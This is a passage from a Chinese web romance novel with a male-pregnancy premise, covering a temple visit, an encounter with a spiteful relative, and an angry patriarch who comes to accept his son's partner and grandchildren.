沈妙妙道,“我学的是汉语言文学,不可能直接对应公司的核心部门,只想在实习公司里平平稳稳地学习点以后能切实用到的,提升专业技能,顺便学习一下如何在职场中与人有效沟通。” “我觉得你很有眼色,头脑也聪明,这些东西完全不用学,浪费时间。” 沈妙妙道,“可能鹤先生毕业后直接上位,成为一名成功的掌权人,但我的节奏是怎么样能比其他人更快地适应新环境,并且创造我自己的独特价值。” 沈妙妙:“(﹁﹁)~→” 鹤爵:“←( ̄_ ̄)” 沈望哎呦了一声。 鹤爵与沈妙妙同时问他,“怎么了?哪里不舒服?” 沈望冲两人笑说,“没什么,是二宝刚才踢了我一脚,超有劲儿的。” 鹤爵不禁笑着抚摸他的腹部,“真是个小调皮,搞不好生出来比姐姐还不听话呢。” 沈妙妙也显得格外开心,抱住沈望的肩膀,亲昵地蹭着爸爸说,“调皮才好呢,说明思维活跃,不古板、呆滞、木讷,一意孤行。” 到了京城最为著名的寺庙广岩寺,庙门宏伟雄阔,远远地便能看见香火缭绕,直冲云巅,往来之人虔诚信念,出入如同鱼群穿梭。 鹤爵安抚沈望道,“附近的风景不错,赵管家会带你去四周转转,寺庙里的香火味含有麝香,味道呛人,不适合你现在进去。” 沈望倒是不怎么信这个,不过鹤爵是商界巨贾,不得不信。 尤其镇压他暴戾气质的佛珠,也是追求心灵净化的一种证明。 鹤爵与沈妙妙一并走进广岩寺,沿路讲了许多寺庙间发生的奇闻异事,以及这座寺庙历经百年浩劫,依然屹立不动的漫长历史,这次沈妙妙倒没对他牙尖嘴利,乖乖听得挺认真。 鹤爵虽然不是一个合格的父亲,但他的胆魄与阅历,确实是一位难得的引路者,或者说是人生导师。 沈妙妙听得有些入迷,鹤爵给她指了几个方向,清楚说明里面供的佛祖专门庇佑什么,虔诚则灵,要沈妙妙自己去心之所至。 沈妙妙给沈望求了一道平安符,也给二宝求了一道,两道符装进精致的小锦囊中,只要挂进脖子里就好,一点也不麻烦的。 沈妙妙忽然听到来往的游客说,庙里的洪恩大师今天居然做法事,洪恩大师是得道高僧,一般很少见到这种盛况的,纷纷涌过去要看热闹。 可惜这场私人法事并不允许对外展示,大家兴冲冲地过来,又败兴地离开。 据闻这场法事早预订了很久,一般普通老板姓是根本请不到洪恩大师亲自主持。 被严密关起来的寺庙一角很快地响起浩浩荡荡的声响,诵经声、念咒声、舞蹈声、奏乐声连声一片,洪亮的钟声时而贯穿其中,从红墙青瓦将涌出的白烟滚滚而来,眨眼弥漫了一半的天幕。 不少人又被这夸张的阵仗吸引过来,扒住门缝朝里使劲张望个不停。 沈妙妙半晌找不见鹤爵,被来来往往的人一宣传,冥冥中感觉这个能求到高僧作法的人,一定是她那个有钱的冤家。 沈妙妙则更机灵一点,趁所有人扒在朱红大门前偷窥,她则绕去了偏远的侧墙,爬到墙头胡乱看了两眼。 庙中云雾缭绕,烟火纷飞,既呛人又喧闹,鹤爵精赤着上半身跪在蒲垫间,双手合十虔诚无我,手里紧攥着那串早见过的翡翠佛珠,嘴里低声默念着什么。 高僧洪恩拿着净瓶柳枝,往鹤爵身上掸水,口中默念大悲咒。 沈妙妙依稀看见鹤爵身上参差不齐的伤痕,心底隐隐不是滋味。 后来因为她的臂力有限,很快便放弃继续偷窥,拍拍双手和裤子间的浮尘,决定还是先自己再去转转。 这场法事做得很久,大约一个小时左右。 沈妙妙耐心在门口等待,鹤爵才收拾整齐,被寺庙中的沙弥们恭敬地送了出来。 沈妙妙感觉鹤爵隐约有点不一样,像是真的被坛场里的法事清净一般,步履轻松,人也祥和平静,甚至自带风清气朗的宁静感。 “他不会是要出家当和尚去吧?” 沈妙妙走过去,道一声,“鹤先生,你害得我等了好久。” 鹤爵回头看见她,有点惊讶道,“我以为你已经去找你爸爸了,怎么,在这里等我?” 说完他就微微散出些笑意,看得沈妙妙内心极为不爽。 沈妙妙闻了闻他浑身的气味,浓郁的烧纸味儿,不禁嘀咕说,“我其实看见了。” “看见什么?”鹤爵系了一下袖扣,但却放松了领口间的纽扣。 “你浑身是旧伤,”沈妙妙凑过去,“是因为做了什么坏事,让里面的高僧打得吗?” 坏事?打得? “对,”鹤爵居然主动承认,“我确实做过一些很坏的事情,但我做得时候很爽快,一点也不觉得难过。” 不过。 “我的孩子都是好孩子,从来不必知道这人世间的险恶,以后也该平平安安、健健康康的。” 鹤爵对沈妙妙招手,“二宝的名字已经求到了,是一个很好听的名字,你要不要瞧瞧。” 说着,鹤爵从随身携带的锦囊中取出一张红艳艳的纸,专门递给沈妙妙看了一眼。 沈妙妙跟他一起看向红纸中央,字面先是讲了名字的吉祥寓意,又写了名字的来源出处。 沈妙妙很认真地读着二宝的名字,“沈淼淼?” 对,我们家的第二只小猫咪。 沈妙妙有点不理解,“你居然会让二宝跟爸爸姓?” 她还以为二宝必须得姓鹤呢,尤其越是传统的豪门大户,更是注重姓氏的开枝散叶、血脉延续。 沈妙妙都已经做好准备,无论用什么手段,都要抢到二宝的冠名权! 鹤爵道,“我觉得你一定想让二宝姓沈,我也很希望它跟你一起姓沈。” 他突然将靠近身边的小姑娘摸了一下,他还没有机会很好地抚摸过女儿的头顶呢。 “高兴吗?” 沈妙妙立刻呈现出防御姿势,远离他半步,还不停地抖一抖被宽厚大手碰触过的发丝。 “你这个名字起得完全像是女孩子的,万一二宝是男生怎么办?” 鹤爵说,“淼淼也很适合男孩子,你们一个妙妙,一个淼淼,都是我和爸爸的心头肉。” 说着,鹤爵从裤兜里取出一枚挂着平安福囊的白金项链,二话不说给沈妙妙套进脖子里。 “所以,换我给你送一点小礼物,你应该不是很讨厌了吧?” 沈妙妙确实有点生气,脸颊气鼓鼓的,总感觉面前这个男人真的很不好应付,总是出其不意的。 她最不喜欢鹤爵总能准确无误地猜透她的想法,轻易掌控全场。 不过,她倒是没有将平安福囊取下来。 她给爸爸、二宝都去求了平安符,唯独没有给自己求。 姓鹤的好像她肚子里的蛔虫似的,直接给她也求了一个。 沈妙妙抓住胸口的福袋,一句谢谢憋了半天,总是很难讲出口的。 鹤爵疑惑道,“怎么?不喜欢求平安?那不然我帮你换成考试必过的怎么样?听说你马上要考BEC了,给你加油。” 语毕,笑着转身往前走。 沈妙妙气坏了,跟在他后面小跑着反驳。 “你是魔鬼吗!!” “我才不需要考试必过的符呢,我学习超级好的。” 第58章 男妲己 沈望在赵管家的陪同下, 两人一并在广岩寺附近散步,居于寺庙后方有不少的商业街区。 俗话说:庙前贫庙后富,庙的左右多孤寡。 因为庙宇在风水上属于“镇物”,修建的庙宇一般会位于所谓“形煞”的位置, 据说是为了接通神人鬼三途, 而庙宇是人们朝拜的地方。朝拜者面朝佛像跪拜的方向, 是舍钱的;而建在后面的房屋,则是在接受朝拜, 是纳福的。 商业街建立在庙宇后面简直占尽了天时地利人和, 好像是人人将钱朝一个方向送的一样。 沈望一般也不怎么喜欢逛街, 这是所有男人的通病, 对于花钱的事情不怎么上心,但他有很强的赚钱欲.望, 所以看见商业街面车水马龙, 好像挺赚钱的样子, 心里的小算盘打得劈啪作响。 他现在只是因为怀孕了,才需要依靠鹤爵的照料,等肚子里的二宝一卸货,他也要继续将生意做起来。 广城的店铺已经全部盘出去了, 以后的生意可以安顿在京城这边。 当然, 广城的老兄弟们绝对不能断掉联系, 有可能的话,他还想拉着大家伙一起发家致富。 沈望让赵管家打听了一下这边的门面, 大抵上需要多少钱才能租到。 赵管家完全不用打听,直接告诉他, 50-80万的租金可以租到100平米左右的门面。 这种事情赵管家最熟悉了,鹤爵手里的不动产基本都是他在打理, 好地方的门面房租金确实很高,鹤爵在商业街的几家面店一个月的租金都是按照百万级别算账的。 沈望瞬间枯萎了,要知道他把妙妙精品鱼店盘出去,总共才收回来11万,在寸土寸金的京城,恐怕连块地砖都租不到。 他正在惊讶于耳朵所听到的天文数字,一个身穿廉价运动服的沧桑男人带着一个妙龄少女,两人像是正在争吵,与沈望相遇时,不小心撞了沈望的肩膀。 “当心。”赵管家快速将沈望稳住,沈望则关心道,“我没关系,赵叔你也小心一点。” “你这个人走路都不看前面的吗?!”沧桑男人面露不快,连带着他身边的女生也一脸不满。 沈望一向不是个主动寻事的人,言道,“抱歉,我刚才没有注意你。” 对方像是终于认真撩了他一眼,从漫不经心的模样,转而变成瞪大双眸,再看清楚时恨不能将沈望活生生地从壳子里剥出来。 “望哥?是你吗?” 沈望也在第二眼中看出来对方是谁,连忙扭头道,“不好意思,你看错人了。” 对方一把扯住沈望的手臂,不依不饶说,“怎么可能呢?望哥,我是孟瑜啊,你的姑姑是我母亲,我是你至亲的表弟啊!” 沈望内心想着京城真是小,怎么越是不想碰见的人,越要碰见,连声道,“你真的认错人了,我不认识你。” 赵管家一瞧,忍不住拨开孟瑜,义正言辞道,“我家先生已经表明不认识你了,假如再纠缠个没完没了的,我会立刻报警。” 孟瑜连忙将手松开,对别过头的沈望抱歉,“对不住啊对不住,我可能眼花认错人了,你好走先。” 沈望这辈子最不想看见的人便是他,抬起脚走得飞快,一整天的好心情彻底烟消云散。 孟瑜转身后,他的女儿孟小雨紧跟着爸爸,禁不住好奇问,“那是谁?爸爸你认识吗?” “认识啊,化成灰都认识,”孟瑜想起当年的点点滴滴,对沈望的恨意中,不由增加了不少鄙视的成分。 都是因为沈望,才害得他的父母之间产生罅隙,最终选择离婚收场。也正是因为沈望的存在,才使得自己和孩子一辈子过着猪狗不如的普通生活! 呸,贱人居然混得还挺好! 孟瑜越想越生气,掏出手机从里面不停翻找,最终找到了一个收藏许久,一直不曾打开的电话号码。 忙音接通之后,对里面慵懒的声音发出警告道,“你知道我今天看见谁了?!是沈望那个小垃圾!他现在混得可好了,出门还有专人保护!” 电话那头的慵懒声音陡然一转,言道,“沈望是谁?我对这个名字已经不是很熟悉了。” 孟瑜内心啐一声妈的,“就是你当年利用我,给他传假消息,说鹤爵有个青梅竹马叫白寒书,才拿他做替身的家伙” “白寒书,你总认识吧!” 对方原本像一只百无聊赖的狮子,但在听到白寒书的名字时,陡然提高音量,冲着电话朗声道,“你有什么资格提白寒书的名字?!难道鹤爵没有找人打歪你的嘴!” 不提还不生气。 孟瑜道,“总之我根本不想跟你再扯上关系,但是这个沈望又回到京城了,当年鹤爵最宝贝的也不过是这个人,假如你想替白寒书报仇的话,找他是肯定没有问题的。” 切。 电话那头的人道,“白寒书都死了快十年,鹤爵如今又是京城一霸,我即使想报仇,恐怕根本不是对手。” 孟瑜一听对方的丧气话,简直是所托非人,气恨道,“既然你知道自己不是鹤爵的对手,当年为什么又让我打着白寒书的旗号,去狠狠地刺激沈望?!” “你知不知道!鹤爵只是稍微动了动手指,就彻底毁掉了我父亲的事业!我原本也是有钱人家的小少爷,应该过锦衣玉食的生活,现在还得每天风吹日晒开大车拉货!” 对方则尽显轻蔑,言辞冷嘲热讽道,“谁让你在高中时,四处造沈望的黄.谣,包括你那个不成气候的爹,曾经觊觎沈望,还胆敢去强.奸人家?幸亏是未遂,假如成功了的话,恐怕现在连你也被鹤爵逼着去死了吧?” 孟瑜的脸一阵青红一阵紫白,脸像调色盘似的来回变幻,最终吼道,“你不是牢牢记得沈望是谁吗!!” “嘟嘟嘟” 电话那边已经彻底压掉,任由已经成为社会底层的孟瑜无力翻身,无能咆哮。 电话这边的男人,伸出手指轻松摁了几下,将讨债鬼的号码永远拉黑。 而后,起身整理身上洁白如玉的医生长袍,双手揣进兜里,迈开笔直的长腿离开房间。 屋子的走廊很漫长、幽黑,仿佛穿过一条深不见底的幽深隧道,时而路过的玻璃或者金属,能映衬出一张极为英俊的面庞。 成熟、稳重、很有几分成功人士的精英质感,同样也很危险、低调、目光深邃如同隐藏于鞘的利剑。 他打开了处于房间最内层的一道紧闭的房门,屋子里的光线惨白,与屋外的昏暗呈现出截然不同的视觉感官。 屋内面积很大,空悠悠得仿佛魔鬼的巢穴,四处放着各种医疗设备,屏幕间跃动着的低频生物电,24小时监控着生命体征。 而病床中央躺着一具又枯又白的身躯,双目凹陷面颊坍塌,仿佛一具紧紧包裹着人皮的骷髅,珍贵的生命似乎已经要走到尽头,但又被强行悬挂在头发丝间,不高不低,等待着最后一口气的咽下。 男人立在病床一侧,认真而有残忍地打量着病床上孱弱的生命,现在假如没有周围的医疗器械辅助,病床上的生命会立刻被迫停止。 男人道,“白寒书,你还不能死,知道吗?” “起码,你必须死在鹤爵的手里,而不是我的。” 不知是不是错觉,已经成为植物人的白寒书,仿佛神经元接收到某种刺激似的,产生了意外的波动,促使生命检测仪小幅度发生变化。 微乎其微。 男人将双手插进医生白袍的口袋内,紧紧攥成一双坚硬无比的拳头,纯正的黑眸中并没有任何怜惜,只有隐忍且压抑的怨恨. 鹤爵手端一本《越听越聪明,胎教好故事》,以低沉磁性的嗓音对着沈淼淼的安乐窝,富有感情地诵读。 沈望感觉他的嘴里含着气流,一点点地往自己的肚子上喷溅,又凉又痒,无奈提议,“咱们今天已经讲了好几个故事,二宝差不多该睡了。” 鹤爵合上书,问他,“要不要给你的肚皮抹点油?免得过两个月肚子太大,绷出妊娠纹来。” 沈望说,“应该不需要,我怀妙妙的时候,肚子上根本没留什么痕迹。” “你那时候营养不好,而且光顾着讨生活奔波劳累,妙妙生下来差点夭折,还住了一个月的保温箱。” 沈望如今再回想起当时的辛苦与绝望,委屈和痛苦的感情似乎减淡了不少,索性他依靠自己的坚韧勤劳撑出一片晴空,否者鹤爵哪里有现在这种机会? 鹤爵也立刻意识到问题的严重性,眸光一沉道,“我已经从徐医生的嘴中知道一切,你去黑诊所堕胎的事情,你在黑诊所生妙妙,险些一尸两命的事情,我统统知道了。” 沈望瞧他的表情十分沉重,压抑的痛苦再也绷不住,将鹤爵的整个人往深渊中拉拽,直至消亡。 沈望一把扶住他低垂的面颊,“不要陷入自我伤害中啊,你虽然有错,但我也错得很离谱,我们之间绕了那么多弯路,总算能好好得一家团聚了,你不要自顾自得往消极情绪里钻啊!” 说到消极情绪,沈望想起自己今天意外遇见了孟瑜的事情,只要想起孟瑜曾经对他做过的一切坏事,沈望恨不能立刻狠狠报复对方。 但是,他前半生的生活已经比卧薪尝黄连还要痛苦了,这些已经属于难以逆转的事实。 他的后半生只想跟鹤爵在一起,跟孩子们在一起,只有未来才是可以掌控在手中的。 善良的人们永远获得幸福,丑恶的家伙陷入地狱煎熬。 “我现在只想盘下一个店面,认认真真地赚钱,自自然然地生活。” “然后跟你一起变成糟老头子。” 鹤爵:“” “什么?”鹤爵抱住他,“救赎的话题为什么突然跑偏题了?沈先生?” 沈望被他抱着好温暖,笑着说,“因为幸福的生活才是我更想要的呀,人总是要学会往前看,不是吗?” 鹤爵想起女儿说过的,沈望原本打算开一家饭馆,其实别说一家,他只消动动嘴皮,直接能给沈望开上百家全国连锁的饭馆。 不过他知道,望崽早已经不再是当年那个只会嘤嘤嘤求保护的小可怜儿,人跟自己一样用尽全部之所能,追求理想中所希翼的生活。 鹤爵道,“你打算做生意的话,本金现在有多少,我算是在投资和风险控制上小有心得,给你提前预测规避一下。” 这简直是魔鬼级笑话,谁不知晓鹤爵掌控的经纬风投在业界属于东方不败的地位。 只有沈望不怎么关心他的工作内容罢了。 沈望拿出自己的全部积蓄,堆在鹤爵面前给他看,这是盘店收回来的部分,那是几年内辛苦积攒的部分,还有专门给妙妙预留的购房基金,不过这部分钱坚决不能乱用就是了。 鹤爵看了一下总金额,陷入沉思。 沈望说,“你什么意思?你刚才是不是笑了?” 鹤爵一脸无辜,“我没有笑,而且我怎么可能笑你呢?嘴角稍微有点痒我抠了一下而已,绝对没笑,真的。” 沈望更生气了,“你笑话我挣得少,是不是?这些钱肯定是比不上你一个月的花销了,可我也是早起晚睡,辛辛苦苦挣的家底子啊?” 鹤爵更加无辜道,“我真的没有任何鄙视的意思,况且这些钱全部是你的血汗钱,我只会特别地敬畏这些钱!” 凭这几十万打算在京城租一间像模像样的门面房,简直比掏走人民广场守门石狮子的眼珠还难。 而且,鹤爵每天的生活开销也不止这么一丁点儿吧? “我可以帮你钱生钱” “不用了,谢谢,”沈望一把揽住所有的存折银行卡,“现在天也晚了,我和二宝要睡觉了,你回自己屋去睡吧?” 鹤爵一脸震惊,“不是,我的意思是,我可以帮你把钱投入短线期货,过半年能多翻十几倍,到时候你也可以顺利地租到门面” 沈望说,“晚安!”用手指了一下卧室房门,示意关门送客。 鹤爵愈发待着不动弹,“可我晚上不搂住你,根本睡不着,淼淼也离不开我,必须跟爸爸睡” 沈望的肚子鼓了鼓,俨然二宝跟着他同仇敌忾,一起驱赶鹤爵离开。 鹤爵简直哭笑不得,单臂夹住自己的枕头,从沈望的卧房走出来,振振有词道,“我面瘫,我真没笑。” 鹤爵用了三天时间才把沈望哄好,沈望的情绪比六月的天变化还快,朝晴夕阴。 一切皆是因为激素作祟,他本身是堂堂正正的男人,虽然长了可以孕育生命的子宫,然而雌激素分泌颇低,尤其年龄也不小了。 一般这个岁数的女性生育,已经被形容成过鬼门关了,更不要提沈望目前的状况。 私人医院张院长给出的意见是,从国外邀请专注于男性生育方面的专家团队,专门过来给沈望和二宝保驾护航。 鹤爵欣然同意,并且将相关事宜交给张院长去办理。 按照鹤爵的预想,他原本是打算一辈子孑然一身,等岁数到了就把家产捐赠一部分,再给哥哥们的孩子馈赠一部分的。 现在他突然有了两个名正言顺的继承人,鹤爵这颗漂浮自由的心,瞬间吞了锁心石,牢不可摧地拴在沈望身上。 ——以后都不生了,有两个宝贝人生无憾了,以后做事必须戴套.子,再不叫望崽受苦受罪了。 鹤爵谨慎地赔小心,幸亏低眉顺眼的行为都是在家里,若是在社交场景中,必然所有人都会惊掉下巴。 鹤爵抱住沈望坐在家里吃水果,沈望的肚子又沉了一点,医生说要特别注意产夫血糖容易过高,鹤爵专门从国外空运来的有机水果,切成小块喂给对方。 赵管家突然行色匆忙,火急火燎来报告说,“少爷,少爷,大事不好,老爷带着大少爷他们杀过来了,感觉气势汹汹的,好像是出了什么大事。” 鹤爵不紧不慢给沈望递了一张湿巾纸,言道,“通知保镖多派点人手,把他们拦住都劝回去。” “拦不住啊,老爷子火气正足,恐怕少爷你这么做等于火上浇油,还是想个其他办法吧。” 鹤爵与沈望对视一眼,朝赵管家叮嘱说,“你先把沈望护送去书房坐一会儿,我先看看我那个老子今天是抽什么风?” 沈望一直没见过任何鹤家人,尤其两人还没结婚,只是按时的同居关系,也不好干预鹤家的家事,只能叮嘱鹤爵要小心一点,自己跟着赵管家先转移去了书房。 人前脚一走,后脚便听见院子里打打杀杀的。 其实主要是鹤爵七十多岁老爹,手里拿着龙头嵌玉的金拐杖,看到人就挥杆,顺便将鹤公馆里养的花花草草连瓶带盆地捣翻在地,打得支零破碎。 嘴里高声喊着,“小爵崽子,你现在给老子出来磕头谢罪!” “还有把你藏起来的男妲己给我拽出来!我今天非给你捣穿狐狸精的骚窝!” 鹤爵只听了这两耳朵,已经面色不快,站姿挺拔如松,迎风不催道,“哪里来的狐狸精?老爷子您这顿怒气究竟是冲谁来的?” 鹤老爷子一听,恰恰好,正主真的在家窝着呢,又是撂开公司不好好上班的一天,愈发气得横眉怒目,抄起手杖往博古架间一扫。 什么清朝的瓷器啊,宋朝的花瓶啊,唐朝的笔洗啊,统统砸到一片狼藉。 鹤家大少爷、二少爷、三少爷鹤慈,还有三太太文欣月一起跟在老爷子身后,纷纷朝鹤爵使眼色,示意他不要再火上浇油了。 鹤爵双手插兜,一点也不Care道,“我这些瓶瓶罐罐的少说也一个多亿了。” “是吗?!!” 鹤老爷子转身,将另外一个博古架上的瓷器也全部扫荡。 鹤爵临危不乱道,“行吧,事后您给我开张支票过来就行。” “支票你个头啊,你这个活生生的败家子!” 鹤老爷子砸完上亿的家当,完全没有解气似的,朝他发难道,“这些东西有价有市,砸完了改明天我给你再找新的就行,可是鹤爵你现在是打算拆掉我的家啊,逆子!” 说到这一句,三少爷鹤慈最有发言权,凑到老爹身边道,“爸,你也不要跟幺弟生气,他只是被人迷惑了而已,才跟咱们搞决裂的。” 这里的咱们包括:鹤大少爷鹤文,鹤二少爷鹤潜,以及被驱逐出境的鹤家宝贝鹤若妍。 文欣月怀里抱着一个胖嘟嘟的橘猫,禁不住地附和着,“小叔原本还好好的,突然打电话要跟我们全家断绝关系。” “哼!”鹤老爷子回头警告她,“把我猫抱好,不然给你好看。” 文欣月立刻偃旗息鼓,将橘猫胖蛋抱得稳稳妥妥的。 鹤爵听了半天,终于听出点意思,不禁露出让人更加生气的微笑。 “我确实说了这些话,嫂子没有讲错,而且我有我的理由。” 他的宝贝女儿,不知道会被哪位叫鹤先生的家伙害死,现在看来,鹤老爷子也很有可能。 鹤老爷子听他供认不讳,原本飙升的血压快要直逼180,双眸泛红道,“你不是这样的人,你现在讲的话完全不像话,肯定是有人故意挑拨离间,而你又被人给套牢了!才鬼使神差到要做蠢事!” “是屋子里这股味道的男妲己干得吗!!” 鹤老爷子也并非整日消闲,自己的儿子每天懒于上班,并且适时传出鹤爵与某漂亮男性出双入对的传闻。 这简直是让做爹的痛彻心扉啊! 鹤老爷子手持拐杖,字字泣血道,“你以前的风评多好,人人眼中不近美色的京城佛子,现在tmd天天浸泡在这狐狸骚气里,还tmd是沉迷男色!” “你坐怀不乱的修为呢?你不是总拿着佛珠装高洁吗?你现在究竟是在做些什么啊!” “你开始玩男人,你还跟哥哥们断绝关系,你连事业都不要了!” “我今天就要打断你的七情六欲,你不要继续做经纬的总裁了,你立刻出家做和尚去吧!” 老人家越说越激动,三个儿子异常紧张,把人扶到一旁坐下,鹤慈还快速从衣兜里掏出清凉油,给老爹抹在太阳穴上。 鹤爵不知是谁嚼的舌根,或者面前的家伙们全部都嚼了舌根。 反正他也并不在乎,慢悠悠坐在对面的沙发上,言道,“公司发展到现在,即使我不去,里面也全部是我的亲信,我花精力物力培养出来的干事,假如连正常运作都维系不到,干脆直接滚蛋好了。” 他的所言非假,他早已经培养出一大批冲锋陷阵的优秀人才帮他坚守阵地,像他这种等级的人物,假如每天还按时按点出入公司大楼,恐怕外界早传言经纬经营不善,面临倒闭了。 鹤老爷子在这件事情上做文章毫不占理,毕竟鹤爵才是真正将经纬规模扩大到几十倍的功臣,家族里等着分红的人完全没有发言权。 大哥鹤文一派老成,见幺弟分毫没有怕的,不禁主动站出来道,“老四,你知道的,爸也不是怕你把经纬给整破产了,爸其实主要是为了咱们家庭的和睦,咱们的妈妈走的早,大哥我对你是什么感情,你应该心底清楚吧?” “你怎么能说不来往就不来往呢?” 提到这个痛点,鹤二、鹤三都很有发言权,纷纷提出抗议。 鹤二:“你生下来的时候,还是我天天给你换的尿不湿,走哪里玩都把你带上,生怕你性格太冷,没人跟你做朋友。” “对,”鹤三接着道,“大哥二哥都是优秀的人才,哪一个不是国外财经大学毕业的优秀学子?经纬为什么最后交到你的手里?嗯?还不是因为大家都惯的你!” 尤其是。 “你出事的那一年,哥哥我陪你做了多少理疗,才保住你的两条腿?你小子太没良心了,大半夜给我打电话,说再也不来往,你想过我的心情吗?” 三哥鹤慈快要委屈得哭出来,他老婆文欣月小心提示,“还有咱们妍妍,也被他给发配到国外去了!心忒黑了这小子!” 话赶话说到这里。 鹤老爷子也不无伤心道,“今天咱们来只有两个目的。” “第一,你要跟三个哥哥们,包括三嫂道歉。” “第二,你跟男妖精立刻把关系断掉,好好做你的京城佛子,不要整天窝在家里了,也出去正正经经找个联姻对象,早点生个继承人出来,你瞧你都快四十岁的人了,马上那精.子还有活力吗?我像你这个岁数的时候,都已经生了四个儿子了,你真是让人一点也也不省心啊!孽障!” 文欣月连忙抱着胖橘猫,挪到鹤老爷子身后,扯了扯他的衣袖道,“爸,爸,让小叔同意妍妍回国的事情啊,你怎么把这件事情给忘掉了呢?” 鹤爵道,“爸说的是,我确实不该意气用事,这里跟三个哥哥们,还有嫂子道歉了。” 他也没起身鞠躬弯腰,坐在沙发中央,淡淡地将这件事给解决了。 鹤大:“行吧,我也没跟你真的计较。” 鹤二:“以后不要再说这种搞分裂的话了啊!” 鹤三:“你能健健康康蹦蹦跳跳全靠我呢,你再胡说八道,就让爸把你两条腿再打断!哼。” 文欣月:“我不要道歉,我要妍妍~” 鹤老爷子的怒气算是消解了一半,用手杖往地面狠狠一戳。 “你们也太容易原谅他了,还说是我惯得,分明你们几个才是罪魁祸首!” 又说,“男妖精呢!现在立刻把男妖精交出来!你也不闻闻家里的这股味道!这是人间应该有的香味吗?哪个正常男人闻了不犯迷糊啊!” 鹤爵越听越不顺耳,言道,“什么男妖精,沈望是我将来要娶的,对我来讲是最重要的人。” 说着,他觉得现在家里人太多,很不适合解释清楚。 对鹤老爷子道,“哥哥嫂子们就算了,爸,您现在跟我去书房一趟。” “去了以后,您就消气了。” 第59章 皆大欢喜 鹤老爷子原本并不打算听鹤爵的, 尤其在一众儿子面前,显得特别好摆布可不行。 然而鹤爵已经动身,并朝他示意,“来看一眼, 您就懂了。” 鹤老爷子重重咳嗽一声, 将手杖提起来道, “那就勉强信你一回,假若是敢连老子都欺骗, 今天非得拿家法伺候。” 父子俩人登上二楼, 赵管家正守在书房门口, 没有少爷的特别允许, 是不准随意出入这里的。 鹤老爷子的鼻子灵着呢,越往楼上走越能清晰得嗅见一股子无法形容的喷香气味。 老爷子年轻时也算是风流人物, 见过不少花枝招展的男女, 浑身喷洒浓郁芬芳的香水, 自以为是增加了魅力,实际上闻多了头疼还腻歪。 现在闻到的这股味道只有纯粹的香甜,不掺杂任何杂质,被柔软的肌肤恰好得温着, 熏发出一股股沁人心脾的干净。 老爷子旋即萌生退缩之意, 思忖臭小子自己被男狐狸迷得五迷三道, 现在居然还敢来陷害自己的亲爹?! 只见鹤爵打开书房屋门,朝里面喊了一声, “我爸来见见你和孩子,不要紧张。”话说得温柔入髓, 尾音蕴含着“一切有我”的韵味。 鹤老爷子的谨慎与狐疑,在听见“孩子”这个单词的瞬间, 化为乌有,甚至因为突如其来的惊讶,蓬勃成一颗即将爆炸的惊喜云。 于是,看见一脸羞涩的沈望慢吞吞走出来,被鹤爵快速地搂住,以颇为防备的架势言道,“这是沈望,我要共度一生的重要男人。” 随后,他又隆重地介绍了二宝,“这是您期待已久的金孙,现在已经有五个月,再过四个月能跟您正式见面。” 还有 “之前专门领去您那边,叫您务必想办法留在京城的沈妙妙” 鹤爵的脸上逐渐露出骄傲的神情,无论沈望怎么暗中叫他不要再讲了,他还是提高音量道,“那是我和沈望生的女儿,今年已经20岁了!” 鹤老爷子这辈子什么风浪没有见过?历史上最著名的全球股市大崩盘、金融次贷危机、某国的核电站泄露,所造成的深远影响跟他半毛钱关系也没有,然而 沈望这个人明显是个成年男性吧?!这个男人的肚子如今明显像顶着一口锅吧?!幺子居然二十年前就跟人家睡了,还生出个漂漂亮亮的小丫头,那算是他的亲孙女吧? 而且现在肚子里还怀着一个!!! 鹤老爷子脑袋里的老CPU简直快被烧报废了,整个人晕眩得要命,心底里翻涌着热滚滚的油花,但凡不够理智的火星子碰触一下,瞬间能给老头子整个人干报废了! 沈望小声说,“鹤爵,你突然给老人家讲这么多没有准备的话,是不是没有考虑过老人家的身体情况?” 赵管家连忙过去要搀扶住摇摇欲坠的人,被鹤老爷子阻挡开去,冲鹤爵冷不丁说一句,“你跟我到书房一趟。” 鹤爵看他面色沉郁,并不像是开心的模样,不过也是,老爷子的前三个儿子早已经给他生了五六个孙子,多他这一房的确实没什么可稀罕的。 只要他自己稀罕得紧就可以。 鹤老爷子拄着手杖,亦步亦趋地率先进了书房。 鹤爵也跟着进去。 门刚一关,就听见鹤老爷子爆喝一声,“畜生玩意儿!!” 奈何书房的隔音效果委实太好,余下的声音,或者激烈的争吵、或者提枪带棍的对峙,全部被严严实实地密封在内。 沈望瞬间担心起来,趴在书房门焦急地想要听到些什么动静。 赵管家将他扶在一边,耐心道,“放心吧,老爷子对咱们少爷从小就宠爱,从来舍不得真打他的。” “可是”沈望即使再着急也没有办法,他现在肚子沉沉的,浑身提不起劲儿,完全拿不出跟人在大广福打架的劲头。 不等五分钟,书房门倏然打开了。 沈望往后退了几步,迎面走出来的是慈爱祥和的鹤老爷子。 老爷子将沈望的双手拉住,充满柔和的情绪,言道,“都怪我家这个逆子,从小被家里人宠坏了,居然惹下滔天大祸!孩子都二十岁了,他也不去找,害得我的宝贝孙女在外流落几十年!” 鹤老爷子真情实感道,“小沈啊,你也真是受了不少苦,以后还麻烦你多忍耐一下他,他会好好补偿你们娘三个的。” 沈望突然不知该喜还是该忧,主要是他一个大老爷们,被人称作娘三个,不管怎么想都背脊炸毛。 鹤老爷子安抚完受惊吓的沈望,冲赵管家道,“里面那个不用管他,晚上也不准他吃饭,闭门思过去!” 又转换成笑眯眯的表情说,“等你身子还可以,带上妙妙来我这边吃饭。” 不。 “明天就过来,我把鹤家人全部叫上,有重要的事情宣告。” 沈望一听居然还要聚集全部鹤家人,内心隐隐感觉不是什么好事,可是又不敢忤逆老人家,只能看着赵管家将鹤老爷子亲自搀扶下楼。 猛地一想,怎么没见鹤爵出来,转身进入书房。 只见鹤爵跪在地面,面色惨白,乌黑的头发丝浸润了一层湿汗。 龙头嵌玉金手杖丢在地上,中间居然已经弯了一点。 沈望赶紧要扶起鹤爵,被对方阻止,自己扶住书桌颤巍巍站起身道,“没事,我爸打我没下重手。” 沈望肯定是心疼他的,掀开鹤爵背后的衬衫,并没有找到明显的痕迹,又去扯鹤爵的西装裤,被止手摁住。 鹤爵道,“没事,他知道我浑身是伤,打我是有分寸的,也就给了一杖,是我自己没有站稳。” 沈望听他讲得风轻云淡,心底愈发不踏实,言道,“还是请张院长来家里看一眼吧。” 手杖都被打弯了呀! 鹤爵依靠着沈望站直,但又不能将全部重量压在对方身上,小心翼翼地寻找支撑点,一张脸因为剧痛过境,反倒回血涨得泛红。 “我爸是气我一直端得太高,傲气过重,事后完全不去找你,更没有把妙妙早点带回家认祖归宗,让你们流落在外吃了很多苦,才打我消气。” 